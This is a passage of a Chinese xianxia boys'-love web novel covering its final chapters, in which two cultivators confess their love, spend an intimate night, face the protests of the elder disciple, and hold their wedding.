于是他也贴紧了云梧的身躯,在嘈杂一片的人声中宴焱的声音几乎低得不可闻,却让云梧觉得是如此的震耳欲聋,仿佛全世界的声音都弱了下来,都在那一刻变得无声而寂静。耳中只能听见,也只能容纳得下宴焱的那一句: “我也爱你。” 云梧只觉得自己的心脏又漏了一拍。 但没关系。 这一次,宴焱与他紧紧相贴。两颗心脏隔着几寸皮肉,共振共跳。云梧落下的那一拍被另一颗补齐,没有缺憾地、缓慢而坚定地跳动着。【你现在阅读的是 】 第 91 章【VIP】 第91章 欺师灭祖 六界最近不太平。 仙界大乱, 又被蜀山剑宗以雷霆手段镇压;问心尊者的诡计败露,罗刹门和问心台等宗门被清算;天道降世,又将四散的魂灵归位;传闻溯世镜颤动, 失传已久的蜀山剑宗祖师爷的事迹显露…… 但最惹人眼球的, 莫过于两位天命之子的恩怨故事。 前几日的六界舆论场, 这两位冤家还是水火不相容针尖对麦芒。 但谁曾想, 今日就让人发现他们居然私底下有了一腿,叫先前还为争他们谁是第一的两拨人都惊掉了下巴。 据说他们还在众目睽睽之下拥吻相缠,哪有半分传闻中生死对家的模样?就差没有亲亲爱爱的黏糊在一起了。 有在场目击的修士描绘的绘声绘色, 说那云梧饥色的吻, 宴焱也被吻得面红耳赤。过了一会儿,那云少宗主就捏着宴焱的手腕消失了,也不知道是去做什么了…… …… 宴焱不知道外头传成什么样了,他只知道自己被云梧拖入了一处静谧的洞府。洞府无人,只有他们两个。 宴焱的手腕被云梧的大手包裹着,很热, 又挣脱不开, 只能眼睁睁的由着他往前拽着自己。 云梧拉着宴焱, 匆匆走到一处床榻边,顿住, 随即转身过来,眼眸亮晶晶的望向宴焱: “焱焱, 你刚刚在他们面前说了什么呀?” 宴焱一顿, 撇过头, 轻哼了声:“明知故问。” 云梧低头,凑到宴焱跟前,几乎藏不住眼里的笑: “焱焱, 我真不记得了。” “想听你再说一遍。” 说罢,他低头抵住宴焱的额头,双手捧上宴焱的脸颊,轻轻将人掰正,眉眼含笑。 宴焱嗫嚅了会,眼神慌乱的往四处瞥,强行扯开话题道: “你就不想知道我是怎么回来的吗?” 云梧捧着的动作一顿,也不急着逼宴焱再表态,而是顺着宴焱的话,道: “当然想。” 他的指腹粗粝,磨过宴焱的唇角,是细细的痒。 宴焱略微往后一缩,强忍异样的情绪,认真道: “我被天道带回了原有的时间线,那条时间线里发生了什么你也应当知道。那死天道拦着我不让我回去,我为了回来就把天道揍了一顿。就这样。” 可怜天道一世英名,在宴焱的口中就成了个任人欺凌的沙包,想揍就揍了。 这下轮到云梧惊诧的扬眉,随即眉头皱紧,上下左右的翻看着宴焱的身体,关切道: “那死天道有没有弄伤你?” 天空晴朗,不知为何从哪儿飘来一道闷雷,在天边滚了滚,像是在控诉着什么。 宴焱扬了扬下巴,终于找回了点场子,冷声保证道: “它没那个实力。” “我虽然回到这个时间线里,但神格还在,它不敢动我。要是再敢动,那就和我的拳头说理吧!” 宴焱说完这话,睨了眼天幕。 闷雷猛的一缩,雷声瞬间小了,乌云散开,仿佛什么也没发生过的模样。 云梧抬头看了眼洞府外的天幕,又垂头望向八面威风的宴焱,不经失笑: “焱焱真厉害。” 宴焱抬头,也不自谦,大大方方的应声道: “那是自然。也不看看我是谁?” 云梧得寸进尺,熟门熟路的抱住宴焱的身躯,低头轻叹道:“我师尊若是知道我把祖师爷拐做媳妇了,定要把我抽筋剥皮……” “焱焱,到时候你可要给我收尸啊。” 云梧巨大的身躯压下,手下力道箍得紧,宴焱无处可躲。只得任由云梧掐着自己的腰,搂着自己的肩头,脸埋在云梧的胸前,闷闷的小声抗拒: “我才不是你媳妇,你别乱说话。” 云梧闻言,忽地抬起头。 就在宴焱以为他又要使出终极大招,红着眼圈逼他心软的时候,一张薄唇又贴了上来。 这一次的吻来得浅柔许多,没有在崖巅重逢时的疯狂索取,而是多了几分珍重和小心翼翼。 但尽管云梧收着索吻,宴焱还是觉得头昏脑胀,无助的攀上云梧的肩头,直到漫长的一吻毕,宴焱才得以喘出气。 云梧的逼问还在继续:“焱焱是不是我媳妇?” 一双薄情眼含笑望来,大有宴焱再不答应就要再亲一遍的架势。 宴焱下意识的去摸自己的唇,果然被嗦肿了,合不拢,可怜的微微张开,里头的红舌若隐若现。 他忙是低低的,用只有他们两个人才能听到的音量,迅速的说了句: “要当也是你当我媳妇。” 话音虽小,但耐不住有心人想听。 宴焱说完这话便不敢抬头去看云梧的脸,凤眸紧紧盯着地上一点,脑子直犯浑。 但没等宴焱低头逃避多久,一双大手便很快的从下至上卷开他身上的衣料,宴焱不由得轻呼了声,再一抬眼,便对上云梧炽热深邃的眼。 背后就是床榻,手已经伸到衣服深处了。 云梧想干什么,简直就是司马昭之心,连天道都知道。 “你你你。”宴焱往后退了几步,退无可退,跌坐在床侧,不管跌下后发疼的臀肉,挣扎还嘴:“我是你祖师爷!光天化日的,你放手!!” 但云梧哪是会乖乖听话的人。 他欺身而上,小山似的阴影从宴焱的上方笼罩而下,一张含笑的俊脸放大,眼神炽热的流连过宴焱红肿嘟起的唇,一路向下,扫进衣料包裹之下的春色。 “焱焱有所不知,”云梧从胸腔中滚出两声轻笑:“我经常被师父唠叨,说我不听祖训,不敬祖师爷。如今焱焱都开了尊口说要我做你媳妇,那我自然是要……” 云梧眼尾笑眯起,逐字逐句,念得很轻: “欺师灭祖。” * 宴焱被颠晃得头晕。 他攀着床柱,乌发可怜的披散在肩头,流落床榻,随着动作颠散,又被背后的一双大手勾起拢紧。 不肖子孙将宴焱强硬的摁在软榻上,光天化日之下,公然行欺师灭祖之事。论谁看了都要摇摇头,说一句世风日下衣冠枭獍。 那一句‘我爱你’也被宴焱神智不清颠三倒四的说了无数次,但都没能阻挡住云梧罔顾人伦的行径。 薄衣被水渍浸湿,胡乱的堆叠在脚踝处。细长的腿无助摩挲窜动之下,衣料又被蹬弄得一团糟,七零八落的散开。 云梧坏心眼的不让宴焱动,大手桎梏住细长的腿,低头,望着那双失焦含水的凤眸,轻笑着又开始新一轮的询问: “焱焱还是直男吗?” 宴焱一面咬牙切齿的感受,一面唇瓣嘟起,舌尖打颤的顶嘴: “我是,我是直男。” 云梧桎梏住宴焱,后者的凤眸被这么一哆嗦而掉下泪来,无助的滴落在锁骨窝处,又淌了下来。 “那我也只是焱焱的兄弟了?” 云梧不满的捞起宴焱,耳鬓厮磨:“都这样了,还算兄弟?” 宴焱抬起手,细长的指头打颤,遮盖住自己的眉眼,不想面对。他咬了咬唇,又摇了摇头,想要否决什么,却什么也吐不出来,半晌,才从胸腔里憋出几字: “我又不喜欢男的。” “我只是喜欢你。” 宴焱说完这两句,忽地顿住。转而像是打开了什么口子,放下手露出整张美人面。此刻他的脸颊上湿濡一片,不是云梧的泪,而是他自己的。 宴焱被他弄哭了。 意识到这一点,云梧登时手忙脚乱了起来。他又是狂喜着焱焱的告白,又是想要去拂开宴焱眼角的泪,一时间手足无措。 但没等云梧有所动作,宴焱又继续控诉道: “都怪你。我本来就是直男的。都怪你,你要是个女子,我就不会成断袖了……” 宴焱连连说了好几个‘都怪你’,啜泣片刻,又觉得自己男子汉大丈夫的流泪丢人,深深埋过头,不让云梧瞧见他的脆弱。 但下一瞬,他没躲得过,叫云梧衔住了他的唇。 鼻尖相贴,唇齿相依,明明他们已经够亲密了,可这样还不够,一定要再索取着对方的体温和味道才算好。 云梧吻得很克制。 他低头,磨咬着宴焱的唇肉,轻轻吮吸,好半会儿又放开。 “焱焱,我好开心。” 宴焱垂着眼,也不答应,不知道是被弄昏了还是又想当鸵鸟。 但云梧却没有往日的焦虑,反而很有耐心的抵着宴焱的额,慢吞吞的吐息。 宴焱爱他,云梧心里门清。 若是宴焱不爱他,宴焱有千万种办法反抗他,定不会像现在这样乖,任由他无节制的索取。他一直逼问着宴焱爱他与否,无非就是想要一个名分。 他的焱焱很爱他,他知道的。 于是云梧蹬鼻子上眼,决定向他的焱焱讨一个名分。 “焱焱。” 云梧出声轻唤,宴焱略微侧了侧脸,以为他又要闲不住的轻唤。 却听云梧下一句道: “我们结婚吧。你娶我,好不好?”【你现在阅读的是 】 第 92 章【VIP】 第92章 大婚前夜 没过多久, 蜀山剑宗便传出了云少宗主要大婚的消息。 喜讯长了翅膀般传遍各地,外头众说纷纭,宗内的气氛倒是微妙。 大殿之内, 四人面面相觑, 气氛紧绷。怀远剑尊手里还捏着那本可怜发毛的‘祖师爷语录’, 白胡气得一抖又一抖, 圆睁着眼,望着眼前挽手侍立的二人。 云梧率先打破僵局,从善如流的低下头, 口中说的话却一点儿也不客气: “师尊, 您就同意我和焱焱在一起吧……” 宴焱只觉得相握的手紧了紧,侧头,就见云梧不着痕迹的往自己这贴近。 怀远剑尊的视线死死盯住二人相握的手,面皮涨得通红: “孽徒,孽徒!!” “你可知道他是谁吗?!他是我们蜀山剑宗的祖师爷!祖师爷——” 可怜怀远剑尊矜持冷静半生,如今却几乎咆哮, 胡子直抖, 面露凶光, 举起手中的‘祖师爷语录’重重拍下,恨不得越过宴焱, 猛砸在云梧这逆徒身上。 自从那日命数归位之后,宴焱原本的命运线被揭露。怀远剑尊也自然知道了内幕, 又是激动又是狂喜, 这几日一直在劝说着宴焱回宗修剑。 但宴焱心意已决, 没有听怀远剑尊的请求,反而是坚定要修习九转灵体。 原因无他。宴焱有上一世的记忆,再次修剑对他而言不过是再走一回老路, 毫无新意。如今九转灵体在身,他也正好又了旁的选择。 怀远剑尊倒是不死心,听了宴焱的解释还不信。直念叨拍腿,说是云梧这孽徒坏事,把祖师爷都骗了去。 这会儿云梧前来商议大婚要事,怀远剑尊积攒已久的郁气更是一股脑的发泄而出: “你以前不敬祖师爷,不听祖训也就算了,如今居然、居然还——” 怀远剑尊怒而站起,直指云梧鼻尖,双手直抖,竟是连字句都说不贯了。 他又不是什么封建的老顽固,云梧想和谁成亲都无所谓,就算是和话本子合籍他也认了。 可偏偏这逆徒就逮着他们唯一的祖师爷薅,这叫他如何能答应?! 怀远剑尊唾沫横飞的在怒骂,云梧倒是游刃有余,甚至还气定神闲的伸出手,把宴焱往自己的怀里揽。 宴焱肩上稍重,他侧头,就见只不可忽视的大手搭上自己的肩,嚣张的摩挲着。 怀远剑尊的目光都快冒了火,紧盯着那只‘作恶多端’的手,就差没亲手上前把云梧从宴焱的身上扒拉下来。 “孽徒啊,孽徒啊——” 怀远剑尊悲凄喊道。 “师尊,您不是说我一直不听祖训么?” 云梧眉眼弯弯,笑得见牙不见眼,神色张扬:“我这次听了。” “这门亲是祖师爷亲手订下的,徒儿这可是奉命行事。” 云梧把最后几字咬得很重,他的手高扬起,一纸书写规整的红色书柬便扬扬铺开,字迹龙飞凤舞,落款处赫然是宴焱姓名。 此书一出,怀远剑尊气歪了胡,三青鸟瞪大了眼,一直在自闭的系统更是悲凄的哭出声。 宴焱则是心虚的低下头,不忍直视这封婚书。 这封婚书的来历大有讲究。云梧先是缠着宴焱写,说是宴焱作为祖师爷亲自写更有分量。但哪有自己写自己的婚书的道理?宴焱不依,云梧就使出各种厉害法子,半逼半哄的要宴焱签字。 可怜堂堂剑道祖师爷落在这狂徒手里,不仅身子骨被捉弄得犯软,魂也被磨得发昏,就这么在迷迷糊糊间签下了婚书。 待到宴焱清醒过来时那封婚书早已成契,改也改不得了。 宴焱面皮薄红,微垂着头,拧了拧云梧的皮肉,低声连道: “可以了,别折磨你师尊了。” 云梧侧头,委屈道:“我没有折磨他。是他自己太无理取闹了。” 宴焱看了眼跌坐在地、怒而拍腿大骂的怀远剑尊,又看了眼眉眼下垂、轻声埋怨的云梧,不由得吐了口浊气: “好了好了。我知道,你就让让你师尊吧。毕竟……”宴焱顿了顿,面上烧红,长长的乌睫垂下,小声道: “我们很快就要成为道侣了。” ‘道侣’这两字成功取悦了云梧。 他昂起头,嘚瑟的瞥了眼垂头丧气的怀远剑尊着,嘴角压不住笑,又从鼻腔里轻轻哼了声,继而开口: “我是焱焱的人,我都听听焱焱的。” * 云梧这几月为了大婚忙得晕头转向。 红轿得要是妖界最好的万工坊做的,别的工匠都不行;提桶里的物件也很讲究,灵石不光得是高阶的,连成色年份都要一致;红绸是西海人鱼族加紧赶出来的,云梧亲自上手系在花轿角,旁人都不让插手…… 至于婚袍嘛,那更是讲究了。 原本云梧订的也是西海人鱼族的工坊,但做出来之后他又嫌不够精细。连夜换了东极山的蚕母去织,织出来的布匹云梧倒是满意,可他转头又开始挑剔起剪裁不够合意,便又去仙界的纤衣楼找了最好的裁缝来做。 兜兜转转好几回,云梧这才勉为其难的订下了最终版。 他瞧瞧眼前精细华美的婚袍,又转头瞧瞧疲累得半阖眸的宴焱,满意的不得了。 婚袍的束腰做得紧,细致的勾出宴焱的腰线起伏。此时宴焱的乌发挽落,半散在肩头,绝艳的美人面略带疲惫,却还是乖顺的任由云梧抬起他的手肘,比划着衣裳。 云梧的体力有点儿太好了。 这几日白天云梧忙着大婚的事情,晚上就拼了命的折腾宴焱。这可苦了宴焱,明明还没大婚,就已经被人连皮带骨的吃干抹尽了。 昨夜宴焱也未能幸免,今早上云梧又兴致勃勃的抱着他来试衣。一连试了几个款式,才让云梧订下这最后的衣裳。 “焱焱腰细,穿这身定是最好看的。” 云梧低头专心致志,一会儿抬抬宴焱的手肘,一会儿动动宴焱细长的腿,嘴里喃喃的计划着衣裳的尺寸。 宴焱任由他摆弄,眉眼满是倦色,只不过在听到了‘坐轿子’等关键字眼时忽地抬起头,不厌其烦的叮咛道: “你坐红轿我骑马。你嫁给我。” 不当新娘,这是宴焱作为龙傲天最后的底线! 云梧从善如流的连声应好。他低着头为宴焱细致的更衣束发,活脱脱像个小媳妇: “是我嫁入剑宗。”他一刻不停,忽地抬头俯至宴焱耳侧,轻念: “日后我就改姓做宴云氏,日日侍候焱焱。” 细麻的气流吹撒在耳垂,宴焱皮薄,白腻的肌肤很快就腾上红云,嘟囔道: “什么侍候不侍候的,说的倒好听……” 这些日子里云梧可没少打着侍候夫君的旗号,行那等龌龊之事。 先是说要给宴焱更衣,结果衣服都还没穿一半呢,又被尽数褪下。 洗漱也是,这些天连净身诀都不让宴焱用。说是要亲自替宴焱净身,实则是连哄带骗的把人带到一处灵泉,上下其手。于是这澡水洗了一次又一次,越洗越浑…… 最后宴焱学乖了,不让云梧再近身。 可云梧自有法子。他装出一副伤心委屈的模样,眼角圈泪,细数自己当时与宴焱分开的思念,又是将宴焱哄得上榻。 待到箐云剑都入了鞘,生米煮成了熟饭,宴焱发觉不对劲,一切都晚了。 他只得无助的攀着云梧的肩头,凤眸涣散,思绪快要断了片,却还是有一搭没一搭的发誓明日定要狠心拒绝。 ……然后第二日继续在同样的位置立下同样的誓。 可恶。 似是想起什么不堪回首的过往,宴焱不甘的抿紧唇肉,剜了一眼眉眼弯弯的云梧。 今天他一定要做到拒绝云梧—— * 许是因为明日就是大婚,云梧今日格外的仁慈。 宴焱最后挣扎着哀求说要停,云梧便大发慈悲的收手,要抱着宴焱去做清理。 宴焱一再推搡,又是保证说自己很爱云梧,又是让云梧念在明日就要大婚先行放他一马。 好不容易争取到私人空间,一脸沧桑的系统便出现了。 小胖球背着个行囊,面上满是风尘。 它淡淡的看了看全身浸泡在泉水里的宴焱,又转头瞥了眼一角偷窥的云梧,浑身的死意渐浓。 “宿主啊,我是来和你道别的。” 胖球向前滚了滚。行囊很重,勒出两道痕,却依旧无法磨灭它周身看破红尘的气质。 若是有烟,想必系统已经抽了一口又一口。 它叹了口气: “天道和我交代了,你们俩转组去绿江了。我呢,也有了新任务。他们说我不适合呆在某点,所以打发我外派了。” 宴焱对系统其实有点儿愧疚的,毕竟他也是背叛了他俩的直男革命情谊,见状,也忙是关怀的问道: “外派去哪?” 系统抬起头,眺望远方,深沉道: “花市。” 于是婚前一晚,宴焱告别了即将前往花市的系统。 一人一统释前嫌,说了许多心里话。最后的最后,系统祝宴焱早日反攻,宴焱祝系统在花市成就一番千秋大业。 二者都对未来充满了美好的憧憬。【你现在阅读的是 】 第 93 章【大婚】 第93章 大婚 大婚当日, 火翎峰喜乐升天,宾客盈门。 四处是高悬的红绸,精细的六角铃灯坠在屋檐、树头, 风一吹便会‘叮当当’作响。 弟子们换上红色喜服, 来的宾客也穿了红衣, 一时间红光盈天, 艳艳的缀在山头,倒还真称了‘火’字。 怀远剑尊虽是对这门亲事颇有微词,但还是在出宗游山玩水前来了大典。 他吹着胡直念叨, 说是在祖师爷的份上才来, 才不是为了他这孽徒。 大婚的流程繁琐。 好在云梧虽是‘嫁到’剑宗,但本就是蜀山剑宗中人,也省去了纳采纳征的环节。 天蒙蒙一早,喜轿便从火翎峰的一角起轿,由宴焱亲自骑着红棕马相迎。 事实证明,昨夜让云梧早些收手是正确的决定, 马儿虽乖, 但免不了路上颠簸。这一会儿马鞍轻晃, 震得宴焱臀肉作痛。 可偏偏今日他是新郎官,自然要表现出新郎官的模样。宴焱面上尽力不显, 暗地里早便咬牙切齿的念了好几遍云梧的名讳。 火翎峰的一草一木宴焱都熟悉无比,甚至连那‘火’字都是取自他的名字。 但今日的峰路却格外的漫长。 前方两侧是弟子相送, 红轿拾级而上, 喜扇殿后, 红绸开路,一路摇摇晃晃的向着山头走去。 诺大的广场这两个月经过了云梧精心的布置,中间是拔地而起的喜堂, 两侧筵席则是坐满了来自六界的宾客。 两位天命之子的道侣大典是如今六界中最引人注目的事情,来的不仅仅有各门各派的高层,甚至连那言书坊的说书先生都被请了上来。 婚礼的请柬大多数是由云梧攥写的,宴焱也瞧过几眼,所以对于那几个言书坊的先生印象挺深。 宴焱问起来时,云梧便支支吾吾的不肯说,细细逼问了才说出点内情: “都、都是写过我俩话本的先生。” 宴焱略微一怔,随即想起先前看见的话本,又瞧见云梧一脸心虚的模样,不免得失笑。 “你想请就请吧。” 他大度道。 云梧存了私心,于是先生们的位置并不偏僻,甚至还很靠前。如今喜轿一晃又一晃的出现在众人的视野中,那些人立马眼神放光,和围坐一起的三青鸟交头接耳了起来。 三青鸟笑得见牙不见眼,先生们面露微笑,怀远剑尊依旧吹胡子瞪眼,其余宾客则是笑脸盈盈。 礼炮漫天飞,红色的小屑纸片胡乱的在山头飘呀飘,四处是锣鼓喧天。一顶红轿捅破了漫天飞的红屑,招摇的落入喜堂。 明明是仙家的喜宴,云梧便要遵循凡间的规矩办,越是热闹吵闹越好,一定要风风光光的把自己嫁出去。宴焱也由着他来,三书六礼,十里红妆,样样不落。 轿前帷幕被挑开一角,露出‘新娘’宽阔平直的肩背。 一顶红盖遮住云梧的面庞,瞧不清路,于是宴焱便翻身下马,细长的手指攀上云梧的手肘,搀着他下轿。 薄薄的衣料挡不住热意,宴焱手腕一沉。再回眸,就见云梧回握住他的手腕,指腹摩挲,红盖之下影影绰绰的脸庞带着敛不住的笑: “焱焱。” 他在轻唤,一声又一声。 宴焱不厌其烦的应着,一句又一句。 “我在呢。” 从堂前到里屋的步步玉梯很短,却又漫长。二人相搀,共入喜堂: “一拜天地——” 天边唤来一道轻雷,应和似的滚了两声。 “二拜高堂——” 高堂上安放了祖师爷像,面容不清,依稀能瞧见眉眼的轮廓。 云梧瞧了眼台上玉像,又瞧了眼身侧的宴焱,止不住的提唇轻笑。 “夫夫对拜——” 膝盖骨触及柔软的棉垫。两个红垫挨得很近,俩人也近乎要贴在一起。几尺的距离,宴焱能听见云梧的呼吸打在红盖之上,沉沉闷闷的,不易察觉的抖。 他在紧张。 心跳一下又一下的猛敲,胸膛隐隐发颤,好似初遇时的震潮。 明明是一片喧闹的大典,如今竟然只听得见下眼前人的吐息。 面上一阵清风,是宴焱先一步俯身。云梧的鼻尖嗅到吹来的竹香,追着香气的方向,一同拜下身。 只是简短的一拜,可时间却好似被拉得极长。 云梧盼着这一拜许久了。 在冥界的那晚想,在仙界苦苦等着宴焱的消息时想,和宴焱一起在秘境里的时候也想……后来梦魇里他念想成狂,拉着宴焱做了一场荒唐的戏。 戏里的宴焱不愿嫁他,于是云梧就厚着脸皮将梦境轮回了一次又一次,才听见宴焱不情不愿的一句答应。 这一次换他嫁给焱焱。 喜秤从盖头底下探来,轻轻挑起一角。 本该是由新郎官扯下全部的盖头,但‘新娘’却先一步抬手,扯去碍事的红盖。宴焱诧异抬头,便撞入云梧含泪泛红的眼里。 怎么又哭了? 还没等宴焱反应,他的腰上沉了沉,一只大手搭了上来,圈紧收拢,不容分说的将人牢牢实实的压入怀里。 外头是宾客起哄拍掌的热闹声,宴焱却只能听见云梧如鼓的心跳。 “焱焱。” 云梧的声音发哑,克制又颤抖: “你爱我吗?” 熟悉的话语,熟悉的腔调,熟悉的场景。 这句话在梦魇里循环了一轮又一轮,但现实没有给云梧轮回的机会,有的只是云梧因紧绷而发抖的吐息。 宴焱抬起手,抚上云梧的脊背。 细白的手心贴着心脏的位置,皮肉之下,心跳鼓动。 但这一次,宴焱的回答很坚定: “我爱你。” “很爱很爱。” ——正文完——【你现在阅读的是 】